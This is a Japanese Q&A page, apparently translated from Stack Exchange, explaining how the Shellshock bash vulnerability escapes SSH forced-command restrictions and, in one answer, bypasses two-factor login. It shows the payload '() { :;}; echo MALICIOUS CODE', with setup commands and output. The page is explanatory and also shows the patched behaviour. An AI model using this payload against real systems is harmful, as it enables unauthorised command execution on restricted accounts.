web-dev-qa-db-ja.com

ShellshockはSSHでどのように利用できますか?

どうやら、Shellshock Bashエクスプロイト CVE-2014-6271 は、SSH経由でネットワークを介して悪用される可能性があります。 Apache/CGIを介してエクスプロイトがどのように機能するか想像できますが、SSHを介してどのように機能するか想像できませんか?

誰かがSSHがどのように悪用されるのか、そしてシステムにどのような害を及ぼす可能性があるのか​​、例を挙げていただけますか?

明確化

AFAIU、認証されたユーザーのみがSSHを介してこの脆弱性を悪用できます。とにかくシステムへの正当なアクセス権を持つ誰かがこのエクスプロイトをどのように利用するのですか?つまり、このエクスプロイトには特権の昇格がないため(rootになることはできません)、SSHを介して正当にログインしただけでは、彼ができること以上のことはできません。

68
Martin Vegter

これが悪用される可能性がある1つの例は、authorized_keys強制コマンドを実行しているサーバーです。 ~/.ssh/authorized_keysにエントリを追加するときに、行の前にcommand="foo"を付けて、ssh公開鍵が使用されているときにfooを強制的に実行することができます。このエクスプロイトでは、ターゲットユーザーのシェルがbashに設定されている場合、エクスプロイトを利用して、強制されているコマンド以外のものを実行できます。

これはおそらく例の中でもっと理にかなっているので、ここに例を示します:

Sudo useradd -d /testuser -s /bin/bash testuser
Sudo mkdir -p /testuser/.ssh
Sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
Sudo chown -R testuser /testuser

ここでは、ユーザーtestuserをセットアップします。これにより、sshキーを使用したssh接続でecho starting sleep; sleep 1が実行されます。

これは次の方法でテストできます。

$ ssh testuser@localhost echo something else
starting sleep

echo something elseが実行されないことに注意してください。ただし、starting sleepは、強制コマンドが実行されたことを示しています。

次に、このエクスプロイトの使用方法を示します。

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

これは、sshdSSH_ORIGINAL_COMMAND環境変数を渡されたコマンドに設定するため機能します。したがって、sshdsleepを実行しましたが、私が指示したコマンドは実行しませんでしたが、エクスプロイトが原因で、コードは引き続き実行されます。

79
Patrick

Rameshの例を拡張-2要素認証を使用する場合、実装方法によっては、このエクスプロイトを使用して2番目の要素をバイパスすることが可能です。

—通常のログイン—

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

— 2FAなしでコードを実行—

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

2FAを要求せずにコードを実行したことがわかります。

— bashにパッチを適用した後—

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
26
Eric Rumer

ShellshockはSSHではなくbashの脆弱性です。これを悪用するには、攻撃者は脆弱なシステムにbashを実行させ、bashに渡される環境変数の値を制御する必要があります。

SSHを介してbashプロセスに到達するには、攻撃者は認証手順を通過する必要があります。 (他のネットワークサービスを介した攻撃ベクトルが存在する可能性がありますが、それらはこのスレッドの範囲外です。)とにかくアカウントが任意のシェルコマンドの実行を許可されている場合、攻撃はありません。この脆弱性は、アカウントが特定のコマンドの実行に制限されている場合に発生します。たとえば、SFTP専用アカウントやgit専用アカウントなどです。

SSHを使用して特定のコマンドを実行するようにアカウントを制限する方法はいくつかあります。sshd_configForceCommandオプションを使用する方法と、command=を使用する方法です。 authorized_keysファイルの制限。ユーザーのシェルがbashである場合、Shellshockの脆弱性により、通常は制限付きアカウントにのみアクセスできるユーザーが制限を回避して任意のコマンドを実行することができます。